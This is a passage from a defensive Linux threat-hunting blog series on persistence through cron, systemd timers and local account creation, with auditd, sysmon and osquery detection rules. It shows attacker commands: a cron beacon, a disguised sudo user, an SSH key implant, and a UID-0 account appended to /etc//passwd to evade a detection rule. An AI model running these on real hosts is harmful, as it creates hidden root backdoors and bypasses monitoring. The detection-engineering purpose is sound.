<h4 id="63-detecting-creation-of-timers">6.3 Detecting creation of timers</h4>
<p>We won’t discuss much about the detection since it is almost the same as the creation of <code class="language-plaintext highlighter-rouge">systemd</code> services. To recap, we want to
look for file creation of <code class="language-plaintext highlighter-rouge">.service</code> and <code class="language-plaintext highlighter-rouge">.timer</code> in one of the following paths:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/etc/systemd/system</code></li>
<li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/system</code></li>
<li><code class="language-plaintext highlighter-rouge">/lib/systemd/system</code></li>
<li><code class="language-plaintext highlighter-rouge">/usr/lib/systemd/system</code></li>
</ul>
<h4 id="64-listing-timers-with-osquery">6.4 Listing timers with osquery</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT id, description, sub_state, fragment_path
FROM systemd_units
WHERE id LIKE "%timer";
</code></pre></div></div>
<p><img src="/assets/posts/20220130/63-osquery-timers.png" alt="" /></p>
<h3 id="7-scheduled-taskjob-cron">7 Scheduled Task/Job: Cron</h3>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1053/003/">https://attack.mitre.org/techniques/T1053/003/</a>)</p>
<h4 id="71-introduction-to-cron">7.1 Introduction to cron</h4>
<p>Cron is the most traditional way to create scheduled tasks. The interesting directories for us are the following:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/etc/crontab</code></li>
<li><code class="language-plaintext highlighter-rouge">/etc/cron.d/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/etc/cron.{hourly,daily,weekly,monthly}/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/var/spool/cron/crontab/*</code></li>
</ul>
<p>We won’t go through how to define cronjobs. Please refer to <a href="https://crontab.guru/examples.html">https://crontab.guru/examples.html</a> for example common examples.</p>
<h4 id="72-creating-scheduled-cron-job">7.2 Creating scheduled cron job</h4>
<h5 id="721-user-crontab">7.2.1 User Crontab</h5>
<p>If you are a user you can modify your own <code class="language-plaintext highlighter-rouge">crontab</code>, using <code class="language-plaintext highlighter-rouge">crontab -e</code>. This will create a file in <code class="language-plaintext highlighter-rouge">/var/spool/cron/crontab/<user></code>.</p>
<p>For example, we can add</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*/5 * * * * /opt/beacon.sh
</code></pre></div></div>
<p>To run <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> every 5 minutes. If <code class="language-plaintext highlighter-rouge">root</code> runs <code class="language-plaintext highlighter-rouge">crontab -e</code> it will be <code class="language-plaintext highlighter-rouge">/var/spool/cron/crontab/root</code></p>
<h5 id="722-etccrontab">7.2.2 /etc/crontab</h5>
<p>The admin can modify <code class="language-plaintext highlighter-rouge">/etc/crontab</code> or <code class="language-plaintext highlighter-rouge">/etc/crontab.d/<ARBITRARY FILE></code>. Unlike the files in <code class="language-plaintext highlighter-rouge">/var/spool/cron/*</code> where the user of the jobs are implied based on the whose crontab it is, the lines in <code class="language-plaintext highlighter-rouge">/etc/crontab</code> include a username.</p>
<p><code class="language-plaintext highlighter-rouge">vi /etc/crontab/</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*/10 * * * * root /opt/beacon.sh
</code></pre></div></div>
<p>This will run <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> every 10 minutes as <code class="language-plaintext highlighter-rouge">root</code></p>
<h5 id="723-hourlydailyweekly-and-monthly-cron">7.2.3 hourly,daily,weekly, and monthly cron</h5>
<p>The <code class="language-plaintext highlighter-rouge">/etc/cron.{hourly,daily,weekly,monthly}/*</code> are actual scripts triggered hourl, or daily, or etc…</p>
<h4 id="73-monitoring-addition-to-cron">7.3 Monitoring addition to cron</h4>
<h5 id="731-auditd">7.3.1 Auditd</h5>
<p>From our reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a> rules give us the following rules.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/cron.allow -p wa -k cron
-w /etc/cron.deny -p wa -k cron
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -k cron
</code></pre></div></div>
<p>This should cover almost everything for cron.</p>
<h5 id="732-sysmon">7.3.2 Sysmon</h5>
<p>For sysmon we can use <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml">T1053.003_Cron_Activity.xml</a> which is a translation of the <code class="language-plaintext highlighter-rouge">auditd</code> rules above.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><ProcessCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>crontab<span class="nt"></Image></span>
<span class="nt"></Rule></span>
<span class="nt"></ProcessCreate></span>
<span class="nt"></RuleGroup></span>
<span class="nt"><RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">></span>/etc/cron.allow<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">></span>/etc/cron.deny<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">></span>/etc/crontab<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/cron.d/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/cron.daily/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/cron.hourly/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/cron.monthly/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/cron.weekly/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/var/spool/cron/crontabs/<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
<span class="nt"></RuleGroup></span>
</code></pre></div></div>
<p>Although it should be noted that because of what we have observed with using <code class="language-plaintext highlighter-rouge">FileCreate</code> for file integrity monitoring, we can say that the <code class="language-plaintext highlighter-rouge">sysmon</code> version is not as powerful as the <code class="language-plaintext highlighter-rouge">auditd</code> even if it is a direct translation.</p>
<h5 id="733-auditbeats">7.3.3 auditbeats</h5>
<p>Similar to the <code class="language-plaintext highlighter-rouge">systemd</code>, be careful with using the default file integrity monitoring of <code class="language-plaintext highlighter-rouge">auditbeat</code>. By default, only <code class="language-plaintext highlighter-rouge">/etc/crontab</code> will be monitoring. The following are not covered by FIM of the default configuration:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/etc/cron.d/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/etc/cron.{hourly,daily,weekly,monthly}/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/var/spool/cron/crontab/*</code></li>
</ul>
<p>You can either set <code class="language-plaintext highlighter-rouge">recursive</code> or add each of those specific directories.</p>
<h5 id="734-osquery">7.3.4 osquery</h5>
<p><strong>Listing parsed <code class="language-plaintext highlighter-rouge">crontab</code></strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT *
FROM crontab
</code></pre></div></div>
<p><img src="/assets/posts/20220130/7-crontab.png" alt="" /></p>
<p><strong>Listing all files of <code class="language-plaintext highlighter-rouge">/etc/cron.{hourly,daily,weekly,monthly}/*</code></strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT path, directory, md5
FROM hash
WHERE
path LIKE "/etc/cron.hourly/%"
OR path LIKE "/etc/cron.daily/%"
OR path LIKE "/etc/cron.weekly/%"
OR path LIKE "/etc/cron.monthly/%";
</code></pre></div></div>
<p><img src="/assets/posts/20220130/7-crontab-2.png" alt="" /></p>
<h3 id="conclusions-and-whats-next">Conclusions and What’s next</h3>
<p>We’ve discussed how to create and detect the creation service, timers, and cronjobs.</p>
<p>Personally, it took a while to fully grasp <code class="language-plaintext highlighter-rouge">systemd</code> and I found that the best resources were the man pages. I hope that I’ve been able to provide materials to make these concepts more accessible. If there are mistakes here are things you might want to add, feel free to reach out.</p>
<p>In the next post, we’ll going through where to put scripts/executables that run on boot or logon using initizalization scripts and shell configurations.</p>
<hr />
<h2 id="sources">Sources</h2>
<p>[1] <a href="https://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html">Debian systemd.unit man page</a></p>
<p>[2] <a href="https://www.freedesktop.org/software/systemd/man/systemd.unit.html">freedesktop systemd.unit man page</a></p>
<p>[3] <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp">PayloadsAllTheThings Reverse Shell</a></p>
<p>[4] <a href="https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/">ATT&CK T1501: Understanding systemd service persistence</a></p>
<p>[5] <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a></p>
<p>[6] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/service_persistence.rb">Metasploit: service_persistence.rb</a></p>
<p>[7] <a href="https://www.elastic.co/guide/en/beats/auditbeat/6.8/auditbeat-module-file_integrity.html">Auditbeat File Integrity Module</a></p>
<p>[8] <a href="https://www.unixsysadmin.com/systemd-user-services/">systemd user services</a></p>
<p>Photo by <a href="https://www.pexels.com/photo/analog-wall-clock-with-bells-800427/">Matej from Pexels</a></p>Pepe BerbaIntroductionHunting for Persistence in Linux (Part 2): Account Creation and Manipulation2021-11-23T00:00:00+00:002021-11-23T00:00:00+00:00https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation<h3 id="introduction">Introduction</h3>
<p><a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">In the previous blog post</a>, we’ve discussed how to setup auditd and sysmon so that we can start hunting for persistence techniques in linux hosts. Specifically, we discussed some ways we can detect the creation and the use of web shells in a web server.</p>
<p>In this blog post, we will discuss the following:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1136/001/">Create Account: Local Account</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/003/">Valid Accounts: Local Accounts</a></li>
<li><a href="https://attack.mitre.org/techniques/T1098/004/">Account Manipulation: SSH Authorized Keys</a></li>
</ul>
<p>We will give some example commands on how to implement these persistence techinques and some alerts you can use to detect these.</p>
<p>If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the <a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/#appendix">appendix in part 1</a>.</p>
<p>Here is a diagram of the things we will cover in this blog post:
<img src="/assets/posts/20211123/0-introduction.png" alt="" />
<em>Links to the full version <a href="/assets/posts/common/20220201-linux-persistence.png">[image]</a> <a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf]</a></em></p>
<p>This is part 2 of a series on persistence in linux:</p>
<ul>
<li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
<ul>
<li>1 - Server Software Component: Web Shell</li>
</ul>
</li>
<li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
<ul>
<li>2 - Create Account: Local Account</li>
<li>3 - Valid Accounts: Local Accounts</li>
<li>4 - Account Manipulation: SSH Authorized Keys</li>
</ul>
</li>
<li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
<ul>
<li>5 - Create or Modify System Process: Systemd Service</li>
<li>6 - Scheduled Task/Job: Systemd Timers</li>
<li>7 - Scheduled Task/Job: Cron</li>
</ul>
</li>
<li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
<ul>
<li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
<li>9 - Boot or Logon Initialization Scripts: init.d</li>
<li>10 - Boot or Logon Initialization Scripts: motd</li>
<li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
</ul>
</li>
<li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
<ul>
<li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
</ul>
</li>
<li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
<ul>
<li>Modify Authentication Process: Pluggable Authentication Modules</li>
<li>Compromise Client Software Binary</li>
<li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
<li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
</ul>
</li>
</ul>
<h3 id="2-create-account-local-account">2 Create Account: Local Account</h3>
<h4 id="21-creating-account-to-maintain-persistence">2.1 Creating account to maintain persistence</h4>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1136/001/">https://attack.mitre.org/techniques/T1136/001/</a></p>
<p>Adversaries may create a local account to maintain access to victim systems without any need for additional tools. Rather than configure a backdoor web shell, let’s just create a user!</p>
<p>We run the following commands</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>adduser <span class="nt">--shell</span> /bin/bash <span class="nt">--home</span> /var/www/ nginx
<span class="nb">sudo </span>usermod <span class="nt">-aG</span> <span class="nb">sudo </span>nginx
</code></pre></div></div>
<p>This creates a user named <code class="language-plaintext highlighter-rouge">nginx</code> and add this to the <code class="language-plaintext highlighter-rouge">sudo</code> group.(Maybe this will trick a junior analyst who might think <code class="language-plaintext highlighter-rouge">nginx</code> is a legitimate user of the <code class="language-plaintext highlighter-rouge">nginx</code> service)</p>
<p>We can set a password for this or if you want to have public key ssh then you might do additional actions.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /var/www/.ssh
<span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">></span> /var/www/.ssh/authorized_keys
</code></pre></div></div>
<p>With that, we can now use <code class="language-plaintext highlighter-rouge">nginx@<pwned_host></code> to gain root access to the host.</p>
<p>Often, when you create a local account, you would have to give the account additional permissions for it to be useful. That is why you will see that our detection includes both account creation and modification.</p>
<h4 id="22-detection-user-add-in-auditbeats-system-module">2.2 Detection: User add in auditbeat’s system module</h4>
<p>Using the default config auditbeat, we can see that the <code class="language-plaintext highlighter-rouge">event.module: system</code> logs <code class="language-plaintext highlighter-rouge">process_started</code> events. One of those we would be able to see</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*C0pGHGyoq4-5S6Kov2tqnw.png" alt="" /></p>
<p>But on top of that, we are also able to see the following <code class="language-plaintext highlighter-rouge">event.action</code>:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">user_added</code>: Adding user to passwd and shadow</li>
<li><code class="language-plaintext highlighter-rouge">password_changed</code>: Setting user’s password</li>
<li><code class="language-plaintext highlighter-rouge">user_changes</code>: Adding user to <code class="language-plaintext highlighter-rouge">sudo</code>group</li>
</ul>
<p><img src="https://cdn-images-1.medium.com/max/800/1*TFIzdmjFj_-N7tyfWBoQCQ.png" alt="" /></p>
<h4 id="23-detection-changes-in-etcshadow-etcpasswd-and-etcgroup">2.3 Detection: Changes in <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, and <code class="language-plaintext highlighter-rouge">/etc/group</code></h4>
<p>Behind the scenes, commands such as <code class="language-plaintext highlighter-rouge">passwd</code> and <code class="language-plaintext highlighter-rouge">adduser</code> modify the followings files:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/etc/gshadow</code></li>
<li><code class="language-plaintext highlighter-rouge">/etc/shadow</code></li>
<li><code class="language-plaintext highlighter-rouge">/etc/passwd</code></li>
<li><code class="language-plaintext highlighter-rouge">/etc/group</code></li>
</ul>
<p>Modifications to these files can create valid users even without running the <code class="language-plaintext highlighter-rouge">adduser</code> command.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*lfd6Ang5KiajdRWQOxWtrg.png" alt="" /></p>
<p>You might notice the creation of <code class="language-plaintext highlighter-rouge">/etc/nshadow</code>, <code class="language-plaintext highlighter-rouge">/etc/passwd.lock/</code> and other files. These are byproducts of <code class="language-plaintext highlighter-rouge">passwd</code> and <code class="language-plaintext highlighter-rouge">usermod</code> command.</p>
<p>Monitoring modifications of these critical files can help detect these kinds of persistence techniques.</p>
<h4 id="24-detection-using-auditd-to-detect-user-creation">2.4 Detection: Using auditd to detect user creation</h4>
<p>If we want to natively find these in auditd, we can use the following rules:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/group -p wa -k etcgroup
-w /etc/passwd -p wa -k etcpasswd
-w /etc/gshadow -k etcgroup
-w /etc/shadow -k etcpasswd
-w /usr/sbin/useradd -p x -k user_modification
-w /usr/sbin/adduser -p x -k user_modification
-w /usr/bin/passwd -p x -k passwd_modification
</code></pre></div></div>
<p>And if we want to add auxilarly actions like adding the user to groups, etc:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/sudoers -p rw -k priv_esc
-w /etc/sudoers.d -p rw -k priv_esc
-w /usr/sbin/usermod -p x -k user_modification
-w /usr/sbin/userdel -p x -k user_modification
-w /usr/sbin/groupadd -p x -k group_modification
-w /usr/sbin/groupmod -p x -k group_modification
-w /usr/sbin/addgroup -p x -k group_modification
</code></pre></div></div>
<p>This will look for:</p>
<ul>
<li>Any read/write of the sudoers dir</li>
<li>Any write or update of the <code class="language-plaintext highlighter-rouge">/etc/group</code> or <code class="language-plaintext highlighter-rouge">/etc/passwd</code></li>
<li>Any action on <code class="language-plaintext highlighter-rouge">/etc/gshadow</code> and <code class="language-plaintext highlighter-rouge">/etc/shadow</code></li>
<li>If specific commands like <code class="language-plaintext highlighter-rouge">useradd</code> and <code class="language-plaintext highlighter-rouge">usermod</code> are executed</li>
</ul>
<p>Here is a raw auditd log for <code class="language-plaintext highlighter-rouge">etcpasswd</code></p>
<pre class="highlight">
<code>
type=SYSCALL msg=audit(1637599618.765:11426): arch=c000003e syscall=82 success=yes exit=0 a0=7ffeb8ffa160 a1=564262d92020 a2=7ffeb8ffa0d0 a3=2 items=5 ppid=13573 pid=13578 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=19 <u><b>comm="useradd" exe="/usr/sbin/useradd"</b></u> subj==unconfined <u><b>key="etcpasswd"</b></u>, type=PATH msg=audit(1637599618.765:11426): item=0 name="/etc/" inode=131075 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=1 <u><b>name="/etc/"</b></u> inode=131075 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=2 <u><b>name="/etc/shadow+"</b></u> inode=131557 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=DELETE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=3 name="/etc/shadow" inode=144749 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=DELETE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=4 name="/etc/shadow" inode=131557 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637599618.765:11426): <u><b>proctitle=2F7362696E2F75736572616464002D64002F7661722F7777772F002D67006E67696E78002D73002F62696E2F62617368002D750031303032006E67696E78</b></u>
</code></pre>
<p>From here we can see the following:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">comm="useradd" exe="/usr/sbin/useradd"</code> executable being run</li>
<li><code class="language-plaintext highlighter-rouge">name="/etc/shadow"</code> file being modified</li>
<li><code class="language-plaintext highlighter-rouge">key="etcpasswd"</code> tag or key from the auditd rule</li>
<li><code class="language-plaintext highlighter-rouge">proctitle=2F7362...</code> which is the hex encoded title of the process which decods into <code class="language-plaintext highlighter-rouge">/sbin/useradd -d /var/www/ -g nginx -s /bin/bash -u 1002 nginx</code></li>
</ul>
<h5 id="241-note-on-uid-of-users">2.4.1 Note on UID of users</h5>
<p>If we look at <code class="language-plaintext highlighter-rouge">/etc/passwd</code> we will see this newly created user <code class="language-plaintext highlighter-rouge">nginx</code> will have a large UID <code class="language-plaintext highlighter-rouge">100X</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_chrony:x:106:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1001::/home/user:/bin/bash
nginx:x:1002:1003:,,,:/var/www/:/bin/bash
</code></pre></div></div>
<p>Although it is true that Linux systems will assign high UIDs to new users, this is only by convention and an attacker can easily modify this so that newly created accounts can appear as system accounts because they have low UIDs.</p>
<h4 id="25-detection-using-sysmon-to-detect-user-creation">2.5 Detection: Using sysmon to detect user creation</h4>
<p>We have to potential rules available in MSTIC’s config:</p>
<ul>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1136.001_CreateLocalAccount_Commands.xml">T1136.001_CreateLocalAccount_Commands.xml</a></li>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/discovery/T1087.001_LocalAccount_Commands.xml">T1087.001_LocalAccount_Commands.xml</a></li>
</ul>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><ProcessCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1087.001,TechniqueName=Account Discovery: Local Account"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><CommandLine</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/etc/passwd<span class="nt"></CommandLine></span>
<span class="nt"><CommandLine</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/etc/sudoers<span class="nt"></CommandLine></span>
<span class="nt"></Rule></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1136.001,TechniqueName=Create Account: Local Account"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>useradd<span class="nt"></Image></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>adduser<span class="nt"></Image></span>
<span class="nt"></Rule></span>
<span class="nt"></ProcessCreate></span>
<span class="nt"></RuleGroup></span>
</code></pre></div></div>
<p>This will:</p>
<ul>
<li>Look for any command that has <code class="language-plaintext highlighter-rouge">/etc/passwd</code> in it. This might catch commands that read or write to <code class="language-plaintext highlighter-rouge">/etc/passwd</code></li>
<li>Look for any commands that us <code class="language-plaintext highlighter-rouge">useradd</code> or <code class="language-plaintext highlighter-rouge">adduser</code></li>
</ul>
<p>This is a good starting point, however, note that we have already discussed that an attacker can effectively create a user without using <code class="language-plaintext highlighter-rouge">useradd/adduser</code>.</p>
<p>Also notice, that the <code class="language-plaintext highlighter-rouge">T1087.001</code> only looks for commands that contain the string <code class="language-plaintext highlighter-rouge">/etc/passwd</code>. If we can modify <code class="language-plaintext highlighter-rouge">/etc/passwd</code> without directly referencing it in the command, then we can bypass that alert as well.</p>
<p>For example, we go do the following commands as root.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"nginx:x:0:0::/home/nginx:/bin/bash"</span> <span class="o">>></span> /etc//passwd
passwd nginx
</code></pre></div></div>
<p>This will allow us to create a root user and set it’s password without triggering the 2 alerts above. We didn’t need to use <code class="language-plaintext highlighter-rouge">useradd</code> and we were able to reference <code class="language-plaintext highlighter-rouge">/etc//passwd</code> and this will not trigger the check for the string <code class="language-plaintext highlighter-rouge">/etc/passwd</code> because of the extra <code class="language-plaintext highlighter-rouge">/</code> we’ve put.</p>
<p>What we want is something similar</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/passwd -p wa -k etcpasswd
</code></pre></div></div>
<p>Because there are many ways to modify <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, <code class="language-plaintext highlighter-rouge">/etc/shadow/</code>, etc directly and indirectly, we should have an extra rule to detect any changes to these files. As far as I know, the closest thing we have in sysmon for this is.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"etcpasswd"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/etc/passwd<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/etc/shadow<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"etcgroup"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/etc/group<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/etc/gshadow<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
<span class="nt"></RuleGroup></span>
</code></pre></div></div>
<p>Unfortunately, Sysmon Event ID 11, <code class="language-plaintext highlighter-rouge">FileCreate</code> is only triggered when a file is created or overwritten.
At the time of writing this blog post, if a file is modified in place, then no event is not triggered.</p>
<p>The rules above will be able to detect modifications done by</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /etc/passwd
useradd
</code></pre></div></div>
<p>(This is mainly because of temporary files that these commands make such as <code class="language-plaintext highlighter-rouge">/etc/shadow+</code> but not modifications of <code class="language-plaintext highlighter-rouge">/etc/shadow</code> directly)</p>
<p>But not triggered by the following</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo "<TEXT>" >> /etc/passwd
sed -i 's/BEFORE/AFTER/g' /etc/passwd
</code></pre></div></div>
<p>Worse, even if we are explicitly trying to watch at <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, the rule above doesn’t seem to be triggered by the simple</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>passwd user
</code></pre></div></div>
